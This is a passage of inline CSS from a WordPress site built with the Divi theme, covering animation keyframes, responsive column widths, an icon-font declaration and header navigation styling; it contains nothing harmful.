.5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<style id="divi-dynamic-critical-inline-css">
@font-face{font-family:ETmodules;font-display:block;src:url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.eot);src:url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.eot?#iefix) format("embedded-opentype"),url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.woff) format("woff"),url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.ttf) format("truetype"),url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.svg#ETmodules) format("svg");font-weight:400;font-style:normal}
@media (min-width:981px){.et_pb_gutters3 .et_pb_column,.et_pb_gutters3.et_pb_row .et_pb_column{margin-right:5.5%}.et_pb_gutters3 .et_pb_column_4_4,.et_pb_gutters3.et_pb_row .et_pb_column_4_4{width:100%}.et_pb_gutters3 .et_pb_column_4_4 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_4_4 .et_pb_module{margin-bottom:2.75%}.et_pb_gutters3 .et_pb_column_3_4,.et_pb_gutters3.et_pb_row .et_pb_column_3_4{width:73.625%}.et_pb_gutters3 .et_pb_column_3_4 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_3_4 .et_pb_module{margin-bottom:3.735%}.et_pb_gutters3 .et_pb_column_2_3,.et_pb_gutters3.et_pb_row .et_pb_column_2_3{width:64.833%}.et_pb_gutters3 .et_pb_column_2_3 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_2_3 .et_pb_module{margin-bottom:4.242%}.et_pb_gutters3 .et_pb_column_3_5,.et_pb_gutters3.et_pb_row .et_pb_column_3_5{width:57.8%}.et_pb_gutters3 .et_pb_column_3_5 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_3_5 .et_pb_module{margin-bottom:4.758%}.et_pb_gutters3 .et_pb_column_1_2,.et_pb_gutters3.et_pb_row .et_pb_column_1_2{width:47.25%}.et_pb_gutters3 .et_pb_column_1_2 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_2 .et_pb_module{margin-bottom:5.82%}.et_pb_gutters3 .et_pb_column_2_5,.et_pb_gutters3.et_pb_row .et_pb_column_2_5{width:36.7%}.et_pb_gutters3 .et_pb_column_2_5 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_2_5 .et_pb_module{margin-bottom:7.493%}.et_pb_gutters3 .et_pb_column_1_3,.et_pb_gutters3.et_pb_row .et_pb_column_1_3{width:29.6667%}.et_pb_gutters3 .et_pb_column_1_3 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_3 .et_pb_module{margin-bottom:9.27%}.et_pb_gutters3 .et_pb_column_1_4,.et_pb_gutters3.et_pb_row .et_pb_column_1_4{width:20.875%}.et_pb_gutters3 .et_pb_column_1_4 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_4 .et_pb_module{margin-bottom:13.174%}.et_pb_gutters3 .et_pb_column_1_5,.et_pb_gutters3.et_pb_row .et_pb_column_1_5{width:15.6%}.et_pb_gutters3 .et_pb_column_1_5 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_5 .et_pb_module{margin-bottom:17.628%}.et_pb_gutters3 .et_pb_column_1_6,.et_pb_gutters3.et_pb_row .et_pb_column_1_6{width:12.0833%}.et_pb_gutters3 .et_pb_column_1_6 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_6 .et_pb_module{margin-bottom:22.759%}.et_pb_gutters3 .et_full_width_page.woocommerce-page ul.products li.product{width:20.875%;margin-right:5.5%;margin-bottom:5.5%}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products li.product,.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products li.product{width:28.353%;margin-right:7.47%}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-1 li.product,.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-1 li.product{width:100%;margin-right:0}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-2 li.product,.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-2 li.product{width:48%;margin-right:4%}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-2 li:nth-child(2n+2),.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-2 li:nth-child(2n+2){margin-right:0}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-2 li:nth-child(3n+1),.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-2 li:nth-child(3n+1){clear:none}}
@media (min-width:981px){.et_pb_gutter.et_pb_gutters1 #left-area{width:75%}.et_pb_gutter.et_pb_gutters1 #sidebar{width:25%}.et_pb_gutters1.et_right_sidebar #left-area{padding-right:0}.et_pb_gutters1.et_left_sidebar #left-area{padding-left:0}.et_pb_gutter.et_pb_gutters1.et_right_sidebar #main-content .container:before{right:25%!important}.et_pb_gutter.et_pb_gutters1.et_left_sidebar #main-content .container:before{left:25%!important}.et_pb_gutters1 .et_pb_column,.et_pb_gutters1.et_pb_row .et_pb_column{margin-right:0}.et_pb_gutters1 .et_pb_column_4_4,.et_pb_gutters1.et_pb_row .et_pb_column_4_4{width:100%}.et_pb_gutters1 .et_pb_column_4_4 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_4_4 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_3_4,.et_pb_gutters1.et_pb_row .et_pb_column_3_4{width:75%}.et_pb_gutters1 .et_pb_column_3_4 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_3_4 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_2_3,.et_pb_gutters1.et_pb_row .et_pb_column_2_3{width:66.667%}.et_pb_gutters1 .et_pb_column_2_3 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_2_3 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_3_5,.et_pb_gutters1.et_pb_row .et_pb_column_3_5{width:60%}.et_pb_gutters1 .et_pb_column_3_5 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_3_5 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_2,.et_pb_gutters1.et_pb_row .et_pb_column_1_2{width:50%}.et_pb_gutters1 .et_pb_column_1_2 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_2 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_2_5,.et_pb_gutters1.et_pb_row .et_pb_column_2_5{width:40%}.et_pb_gutters1 .et_pb_column_2_5 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_2_5 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_3,.et_pb_gutters1.et_pb_row .et_pb_column_1_3{width:33.3333%}.et_pb_gutters1 .et_pb_column_1_3 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_3 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_4,.et_pb_gutters1.et_pb_row .et_pb_column_1_4{width:25%}.et_pb_gutters1 .et_pb_column_1_4 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_4 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_5,.et_pb_gutters1.et_pb_row .et_pb_column_1_5{width:20%}.et_pb_gutters1 .et_pb_column_1_5 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_5 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_6,.et_pb_gutters1.et_pb_row .et_pb_column_1_6{width:16.6667%}.et_pb_gutters1 .et_pb_column_1_6 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_6 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_full_width_page.woocommerce-page ul.products li.product{width:25%;margin-right:0;margin-bottom:0}.et_pb_gutters1.et_left_sidebar.woocommerce-page #main-content ul.products li.product,.et_pb_gutters1.et_right_sidebar.woocommerce-page #main-content ul.products li.product{width:33.333%;margin-right:0}}@media (max-width:980px){.et_pb_gutters1 .et_pb_column,.et_pb_gutters1 .et_pb_column .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column,.et_pb_gutters1.et_pb_row .et_pb_column .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_row_1-2_1-4_1-4>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1 .et_pb_row_1-4_1-4>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1 .et_pb_row_1-4_1-4_1-2>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1 .et_pb_row_1-5_1-5_3-5>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1 .et_pb_row_3-5_1-5_1-5>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1 .et_pb_row_4col>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1 .et_pb_row_5col>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1.et_pb_row_1-2_1-4_1-4>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1.et_pb_row_1-4_1-4>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1.et_pb_row_1-4_1-4_1-2>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1.et_pb_row_1-5_1-5_3-5>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1.et_pb_row_3-5_1-5_1-5>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1.et_pb_row_4col>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1.et_pb_row_5col>.et_pb_column.et_pb_column_1_5{width:50%;margin-right:0}.et_pb_gutters1 .et_pb_row_1-2_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1 .et_pb_row_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1 .et_pb_row_1-6_1-6_1-6_1-2>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1 .et_pb_row_6col>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_1-2_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_1-6_1-6_1-6_1-2>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_6col>.et_pb_column.et_pb_column_1_6{width:33.333%;margin-right:0}.et_pb_gutters1 .et_pb_row_1-6_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_1-6_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6{width:50%;margin-right:0}}@media (max-width:767px){.et_pb_gutters1 .et_pb_column,.et_pb_gutters1 .et_pb_column .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column,.et_pb_gutters1.et_pb_row .et_pb_column .et_pb_module{margin-bottom:0}}@media (max-width:479px){.et_pb_gutters1 .et_pb_column,.et_pb_gutters1.et_pb_row .et_pb_column{margin:0!important}.et_pb_gutters1 .et_pb_column .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column .et_pb_module{margin-bottom:0}}
#et-secondary-menu li,#top-menu li{word-wrap:break-word}.nav li ul,.et_mobile_menu{border-color:#2EA3F2}.mobile_menu_bar:before,.mobile_menu_bar:after,#top-menu li.current-menu-ancestor>a,#top-menu li.current-menu-item>a{color:#2EA3F2}#main-header{-webkit-transition:background-color 0.4s, color 0.4s, opacity 0.4s ease-in-out, -webkit-transform 0.4s;transition:background-color 0.4s, color 0.4s, opacity 0.4s ease-in-out, -webkit-transform 0.4s;transition:background-color 0.4s, color 0.4s, transform 0.4s, opacity 0.4s ease-in-out;transition:background-color 0.4s, color 0.4s, transform 0.4s, opacity 0.4s ease-in-out, -webkit-transform 0.4s}#main-header.et-disabled-animations *{-webkit-transition-duration:0s !important;transition-duration:0s !important}.container{text-align:left;position:relative}.et_fixed_nav.et_show_nav #page-container{padding-top:80px}.et_fixed_nav.et_show_nav.et-tb #page-container,.et_fixed_nav.et_show_nav.et-tb-has-header #page-container{padding-top:0 !important}.et_fixed_nav.et_show_nav.et_secondary_nav_enabled #page-container{padding-top:111px}.et_fixed_nav.et_show_nav.et_secondary_nav_enabled.et_header_style_centered #page-container{padding-top:177px}.et_fixed_nav.et_show_nav.et_header_style_centered #page-container{padding-top:147px}.et_fixed_nav #main-header{position:fixed}.et-cloud-item-editor #page-container{padding-top:0 !important}.et_header_style_left #et-top-navigation{padding-top:33px}.et_header_style_left #et-top-navigation nav>ul>li>a{padding-bottom:33px}.et_header_style_left .logo_container{position:absolute;height:100%;width:100%}.et_header_style_left #et-top-navigation .mobile_menu_bar{padding-bottom:24px}.et_hide_search_icon #et_top_search{display:none !important}#logo{width:auto;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out;margin-bottom:0;max-height:54%;display:inline-block;float:none;vertical-align:middle;-webkit-transform:translate3d(0, 0, 0)}.et_pb_svg_logo #logo{height:54%}.logo_container{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}span.logo_helper{display:inline-block;height:100%;vertical-align:middle;width:0}.safari .centered-inline-logo-wrap{-webkit-transform:translate3d(0, 0, 0);-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#et-define-logo-wrap img{width:100%}.gecko #et-define-logo-wrap.svg-logo{position:relative !important}#top-menu-nav,#top-menu{line-height:0}#et-top-navigation{font-weight:600}.et_fixed_nav #et-top-navigation{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et-cart-info span:before{content:"\e07a";margin-right:10px;position:relative}nav#top-menu-nav,#top-menu,nav.et-menu-nav,.et-menu{float:left}#top-menu li{display:inline-block;font-size:14px;padding-right:22px}#top-menu>li:last-child{padding-right:0}.et_fullwidth_nav.et_non_fixed_nav.et_header_style_left #top-menu>li:last-child>ul.sub-menu{right:0}#top-menu a{color:rgba(0,0,0,0.6);text-decoration:none;display:block;position:relative;-webkit-transition:opacity 0.4s ease-in-out, background-color 0.4s ease-in-out;transition:opacity 0.4s ease-in-out, background-color 0.4s ease-in-out}#top-menu-nav>ul>li>a:hover{opacity:0.7;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#et_search_icon:before{content:"\55";font-size:17px;left:0;position:absolute;top:-3px}#et_search_icon:hover{cursor:pointer}#et_top_search{float:right;margin:3px 0 0 22px;position:relative;display:block;width:18px}#et_top_search.et_search_opened{position:absolute;width:100%}.et-search-form{top:0;bottom:0;right:0;position:absolute;z-index:1000;width:100%}.et-search-form input{width:90%;border:none;color:#333;position:absolute;top:0;bottom:0;right:30px;margin:auto;background:transparent}.et-search-form .et-search-field::-ms-clear{width:0;height:0;display:none}.et_search_form_container{-webkit-animation:none;animation:none;-o-animation:none}.container.et_search_form_container{position:relative;opacity:0;height:1px}.container.et_search_form_container.et_pb_search_visible{z-index:999;-webkit-animation:fadeInTop 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeInTop 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_search_visible.et_pb_no_animation{opacity:1}.et_pb_search_form_hidden{-webkit-animation:fadeOutTop 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeOutTop 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}span.et_close_search_field{display:block;width:30px;height:30px;z-index:99999;position:absolute;right:0;cursor:pointer;top:0;bottom:0;margin:auto}span.et_close_search_field:after{font-family:'ETmodules';content:'\4d';speak:none;font-weight:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:32px;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box}.container.et_menu_container{z-index:99}.container.et_search_form_container.et_pb_search_form_hidden{z-index:1 !important}.et_search_outer{width:100%;overflow:hidden;position:absolute;top:0}.container.et_pb_menu_hidden{z-index:-1}form.et-search-form{background:rgba(0,0,0,0) !important}input[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none}.et-cart-info{color:inherit}#et-top-navigation .et-cart-info{float:left;margin:-2px 0 0 22px;font-size:16px}#et-top-navigation{float:right}#top-menu li li{padding:0 20px;margin:0}#top-menu li li a{padding:6px 20px;width:200px}.nav li.et-touch-hover>ul{opacity:1;visibility:visible}#top-menu .menu-item-has-children>a:first-child:after,#et-secondary-nav .menu-item-has-children>a:first-child:after{font-family:'ETmodules';content:"3";font-size:16px;position:absolute;right:0;top:0;font-weight:800}#top-menu .menu-item-has-children>a:first-child,#et-secondary-nav .menu-item-has-children>a:first-child{padding-right:20px}#top-menu li .menu-item-has-children>a:first-child{padding-right:40px}#top-menu li .menu-item-has-children>a:first-child:after{right:20px;top:6px}#top-menu li.mega-menu{position:inherit}#top-menu li.mega-menu>ul{padding:30px 20px;position:absolute !important;width:100%;left:0 !important}#top-menu li.mega-menu ul li{margin:0;float:left !important;display:block !important;padding:0 !important}#top-menu li.mega-menu>ul>li:nth-of-type(4n){clear:right}#top-menu li.mega-menu>ul>li:nth-of-type(4n+1){clear:left}#top-menu li.mega-menu ul li li{width:100%}#top-menu li.mega-menu li>ul{-webkit-animation:none !important;animation:none !important;padding:0px;border:none;left:auto;top:auto;width:90% !important;position:relative;-webkit-box-shadow:none;box-shadow:none}#top-menu li.mega-menu li ul{visibility:visible;opacity:1;display:none}#top-menu li.mega-menu.et-hover li ul{display:block}#top-menu li.mega-menu.et-hover>ul{opacity:1 !important;visibility:visible !important}#top-menu li.mega-menu>ul>li>a{width:90%;padding:0 20px 10px}#top-menu li.mega-menu>ul>li>a:first-child{padding-top:0 !important;font-weight:bold;border-bottom:1px solid rgba(0,0,0,0.03)}#top-menu li.mega-menu>ul>li>a:first-child:hover{background-color:transparent !important}#top-menu li.mega-menu li>a{width:100%}#top-menu li.mega-menu.mega-menu-parent li li,#top-menu li.mega-menu.mega-menu-parent li>a{width:100% !important}#top-menu li.mega-menu.mega-menu-parent li>.sub-menu{float:left;width:100% !important}#top-menu li.mega-menu>ul>li{width:25%;margin:0}#top-menu li.mega-menu.mega-menu-parent-3>ul>li{width:33.33%}#top-menu li.mega-menu.mega-menu-parent-2>ul>li{width:50%}#top-menu li.mega-menu.mega-menu-parent-1>ul>li{width:100%}#top-menu li.mega-menu .menu-item-has-children>a:first-child:after{display:none}#top-menu li.mega-menu>ul>li>ul>li{width:100%;margin:0}#et_mobile_nav_menu{float:right;display:none}.mobile_menu_bar{position:relative;display:block;line-height:0}.mobile_menu_bar:before,.et_toggle_slide_menu:after{content:"\61";font-size:32px;left:0;position:relative;top:0;cursor:pointer}.mobile_nav .select_page{display:none}.et_pb_menu_hidden #top-menu,.et_pb_menu_hidden #et_search_icon:before,.et_pb_menu_hidden .et-cart-info{opacity:0;-webkit-animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_menu_visible #top-menu,.et_pb_menu_visible #et_search_icon:before,.et_pb_menu_visible .et-cart-info{z-index:99;opacity:1;-webkit-animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_menu_hidden #top-menu,.et_pb_menu_hidden #et_search_icon:before,.et_pb_menu_hidden .mobile_menu_bar{opacity:0;-webkit-animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_menu_visible #top-menu,.et_pb_menu_visible #et_search_icon:before,.et_pb_menu_visible .mobile_menu_bar{z-index:99;opacity:1;-webkit-animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_no_animation #top-menu,.et_pb_no_animation #et_search_icon:before,.et_pb_no_animation .mobile_menu_bar,.et_pb_no_animation.et_search_form_container{animation:none !important;-o-animation:none !important;-webkit-animation:none !important;-moz-animation:none !important}body.admin-bar.et_fixed_nav #main-header{top:32px}body.et-wp-pre-3_8.admin-bar.et_fixed_nav #main-header{top:28px}body.et_fixed_nav.et_secondary_nav_enabled #main-header{top:30px}body.admin-bar.et_fixed_nav.et_secondary_nav_enabled #main-header{top:63px}@media all and (min-width: 981px){.et_hide_primary_logo #main-header:not(.et-fixed-header) .logo_container,.et_hide_fixed_logo #main-header.et-fixed-header .logo_container{height:0;opacity:0;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et_hide_primary_logo #main-header:not(.et-fixed-header) .centered-inline-logo-wrap,.et_hide_fixed_logo #main-header.et-fixed-header .centered-inline-logo-wrap{height:0;opacity:0;padding:0}.et-animated-content#page-container{-webkit-transition:margin-top 0.4s ease-in-out;transition:margin-top 0.4s ease-in-out}.et_hide_nav #page-container{-webkit-transition:none;transition:none}.et_fullwidth_nav .et-search-form,.et_fullwidth_nav .et_close_search_field{right:30px}#main-header.et-fixed-header{-webkit-box-shadow:0 0 7px rgba(0,0,0,0.1) !important;box-shadow:0 0 7px rgba(0,0,0,0.1) !important}.et_header_style_left .et-fixed-header #et-top-navigation{padding-top:20px}.et_header_style_left .et-fixed-header #et-top-navigation nav>ul>li>a{padding-bottom:20px}.et_hide_nav.et_fixed_nav #main-header{opacity:0}.et_hide_nav.et_fixed_nav .et-fixed-header#main-header{-webkit-transform:translateY(0px) !important;transform:translateY(0px) !important;opacity:1}.et_hide_nav .centered-inline-logo-wrap,.et_hide_nav.et_fixed_nav #main-header,.et_hide_nav.et_fixed_nav #main-header,.et_hide_nav .centered-inline-logo-wrap{-webkit-transition-duration:.7s;transition-duration:.7s}.et_hide_nav #page-container{padding-top:0 !important}.et_primary_nav_dropdown_animation_fade #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_fade #et-secondary-nav li:hover>ul{-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.et_primary_nav_dropdown_animation_slide #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_slide #et-secondary-nav li:hover>ul{-webkit-animation:fadeLeft .4s ease-in-out;animation:fadeLeft .4s ease-in-out}.et_primary_nav_dropdown_animation_expand #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_expand #et-secondary-nav li:hover>ul{-webkit-transform-origin:0 0;transform-origin:0 